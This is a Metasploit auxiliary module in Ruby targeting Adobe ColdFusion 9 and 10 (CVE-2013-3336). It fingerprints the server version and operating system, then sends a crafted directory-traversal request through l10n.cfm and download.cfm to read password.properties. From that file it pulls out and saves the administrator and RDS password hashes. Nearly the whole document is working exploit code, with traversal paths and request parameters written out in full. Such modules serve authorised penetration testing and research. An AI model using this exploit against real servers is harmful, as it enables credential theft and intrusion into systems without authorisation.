ColdFusion 'password.properties' Hash Extraction

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "ColdFusion 'password.properties' Hash Extraction",
      'Description'    => %q{
          This module uses a directory traversal vulnerability to extract information
        such as password, rdspassword, and "encrypted" properties. This module has been
        tested successfully on ColdFusion 9 and ColdFusion 10 (auto-detect).
      },
      'References'     =>
        [
          [ 'CVE', '2013-3336' ],
          [ 'OSVDB', '93114' ],
          [ 'EDB', '25305' ]
        ],
      'Author'         =>
        [
          'HTP',
          'sinn3r',
          'nebulus'
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => '2013-05-07'  #The day we saw the subzero poc
    ))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
      ])
  end

  def fingerprint(response)

    if(response.headers.has_key?('Server') )
      if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)
        os = "Windows (#{response.headers['Server']})"
      elsif(response.headers['Server'] =~ /Apache\//)
          os = "Unix (#{response.headers['Server']})"
      else
        os = response.headers['Server']
      end
    end

    return nil if response.body.length < 100

    title = "Not Found"
    response.body.gsub!(/[\r\n]/, '')
    if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/i)
      title = $1
      title.gsub!(/\s/, '')
    end
    return nil  if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/)

    out = nil

    if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)
      v = $1
      out = (v =~ /^6/) ? "Adobe ColdFusion MX6 (Not Vulnerable)" : "Adobe ColdFusion MX7 (Not Vulnerable)"
    elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ )
      out = "Adobe ColdFusion MX7 (Not Vulnerable)"
    elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2006 Adobe/)
      out = "Adobe ColdFusion 8 (Not Vulnerable)"
    elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and
      response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/)
      out = "Adobe ColdFusion 10"
    elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2010 Adobe/ or
      response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)
      out = "Adobe ColdFusion 9"
    elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)
      out = $1.split(/,/)[0]
    else
      out = 'Unknown ColdFusion'
    end

    if(title.downcase == 'coldfusionadministrator')
      out << " (you have administrator access)"
    end

    out << " (#{os})"
    file = ''
    trav = ''
    if(os =~ /Windows/ )
      trav = '..\..\..\..\..\..\..\..\..\..'
      file = (out =~ /ColdFusion 9/) ? '\ColdFusion9\lib\password.properties' : '\ColdFusion10\CFusion\lib\password.properties'
    else
      trav = '../../../../../../../../../..'
      file = (out =~ /ColdFusion 9/) ? '/opt/coldfusion9/lib/password.properties' : '/opt/coldfusion10/cfusion/lib/password.properties'
    end

    if(response.body =~ /Adobe/ and response.body =~ /ColdFusion/ and file == '')
      print_error("#{peer} Fingerprint failed...aborting")
      print_status("response: #{response.body}")
      return nil,nil
    end

    return out,"#{trav}#{file}"
  end

  def check
    if check_cf
      return Msf::Exploit::CheckCode::Vulnerable
    end

    Msf::Exploit::CheckCode::Safe
  end

  def check_cf
    vuln = false
    url = '/CFIDE/adminapi/customtags/l10n.cfm'
    res = send_request_cgi({
        'uri' => url,
        'method' => 'GET',
        'Connection' => "keep-alive",
        'Accept-Encoding' => "zip,deflate",
        })

    if(res != nil)
    # can't stack b/c res.code won't exist if res is nil
      vuln = true if(res.code == 500 and res.body =~ /attributes\.id was not provided/)
    end

    if(vuln)
      url = '/CFIDE/administrator/mail/download.cfm'
      res = send_request_cgi({
          'uri' => url,
          'method' => 'GET',
          'Connection' => "keep-alive",
          'Accept-Encoding' => "zip,deflate",
          })
      if(res != nil)
        vuln = false if (res.code != 200)
      end
    end

    return vuln
  end


  def run
    filename = ""

    url = '/CFIDE/administrator/index.cfm'
    # print_status("Getting index...")
    res = send_request_cgi({
        'uri' => url,
        'method' => 'GET',
        'Connection' => "keep-alive",
        'Accept-Encoding' => "zip,deflate",
        })
    # print_status("Got back: #{res.inspect}")
    return if not res
    return if not res.body or not res.code
    return if not res.code.to_i == 200

    out, filename = fingerprint(res)
    print_status("#{peer} #{out}") if out

    if(out =~ /Not Vulnerable/)
      print_status("#{peer} isn't vulnerable to this attack")
      return
    end

    if(not check_cf)
      print_status("#{peer} can't be exploited (either files missing or permissions block access)")
      return
    end

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
      'encode_params' => false,
      'encode' => false,
      'vars_get' => {
        'attributes.id'            => 'it',
        'attributes.file'          => '../../administrator/mail/download.cfm',
        'filename'                 => filename,
        'attributes.locale'        => 'it',
        'attributes.var'           => 'it',
        'attributes.jscript'       => 'false',
        'attributes.type'          => 'text/html',
        'attributes.charset'       => 'UTF-8',
        'thisTag.executionmode'    => 'end',
        'thisTag.generatedContent' => 'htp'
      }
    })

    if res.nil?
      print_error("Unable to receive a response")
      return
    end

    rdspass   = res.body.scan(/^rdspassword=(.+)/).flatten[0] || ''
    password  = res.body.scan(/^password=(.+)/).flatten[0]    || ''
    encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0]   || ''

    if rdspass.empty? and password.empty?
      # No pass collected, no point to store anything
      print_error("No passwords found")
      return
    end

    print_good("rdspassword = #{rdspass}")
    print_good("password    = #{password}")
    print_good("encrypted   = #{encrypted}")

    p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)
    print_good("password.properties stored in '#{p}'")
  end
end